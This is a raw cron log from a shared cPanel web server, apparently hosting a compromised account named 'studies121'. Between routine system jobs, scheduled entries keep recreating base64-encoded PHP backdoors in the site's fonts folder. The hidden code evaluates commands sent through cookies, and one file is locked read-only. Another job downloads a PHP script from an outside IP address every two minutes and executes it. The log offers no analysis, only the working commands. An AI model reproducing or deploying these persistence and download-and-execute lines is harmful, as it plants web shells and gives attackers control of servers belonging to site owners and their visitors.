Sep 11 09:33:01 ip-184-168-122-23 CROND[8266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:34:01 ip-184-168-122-23 CROND[8361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:34:01 ip-184-168-122-23 CROND[8364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:34:01 ip-184-168-122-23 CROND[8363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:34:01 ip-184-168-122-23 CROND[8362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:34:01 ip-184-168-122-23 CROND[8366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:35:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8462]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:35:01 ip-184-168-122-23 CROND[8465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:36:01 ip-184-168-122-23 CROND[8570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:36:01 ip-184-168-122-23 CROND[8572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:36:01 ip-184-168-122-23 CROND[8574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:36:01 ip-184-168-122-23 CROND[8573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:36:01 ip-184-168-122-23 CROND[8576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:37:01 ip-184-168-122-23 CROND[8688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:37:01 ip-184-168-122-23 CROND[8691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:37:01 ip-184-168-122-23 CROND[8690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:37:01 ip-184-168-122-23 CROND[8692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:38:01 ip-184-168-122-23 CROND[8862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:38:01 ip-184-168-122-23 CROND[8865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:38:01 ip-184-168-122-23 CROND[8866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:38:01 ip-184-168-122-23 CROND[8867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:38:01 ip-184-168-122-23 CROND[8864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:39:01 ip-184-168-122-23 CROND[8976]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 09:39:01 ip-184-168-122-23 CROND[8980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:39:01 ip-184-168-122-23 CROND[8978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:39:01 ip-184-168-122-23 CROND[8981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:39:01 ip-184-168-122-23 CROND[8979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:40:01 ip-184-168-122-23 CROND[9098]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:40:01 ip-184-168-122-23 CROND[9097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:40:01 ip-184-168-122-23 CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:40:01 ip-184-168-122-23 CROND[9104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:40:01 ip-184-168-122-23 CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:40:01 ip-184-168-122-23 CROND[9108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:40:01 ip-184-168-122-23 CROND[9106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:40:01 ip-184-168-122-23 CROND[9110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:41:01 ip-184-168-122-23 CROND[9218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:41:01 ip-184-168-122-23 CROND[9221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:41:01 ip-184-168-122-23 CROND[9222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:41:01 ip-184-168-122-23 CROND[9223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:42:01 ip-184-168-122-23 CROND[9329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:42:01 ip-184-168-122-23 CROND[9332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:42:01 ip-184-168-122-23 CROND[9331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:42:01 ip-184-168-122-23 CROND[9333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:42:01 ip-184-168-122-23 CROND[9334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:43:01 ip-184-168-122-23 CROND[9516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:43:01 ip-184-168-122-23 CROND[9518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:43:01 ip-184-168-122-23 CROND[9520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:43:01 ip-184-168-122-23 CROND[9521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:44:01 ip-184-168-122-23 CROND[9618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:44:01 ip-184-168-122-23 CROND[9620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:44:01 ip-184-168-122-23 CROND[9621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:44:01 ip-184-168-122-23 CROND[9623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:44:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:45:01 ip-184-168-122-23 CROND[9981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:45:01 ip-184-168-122-23 CROND[9983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
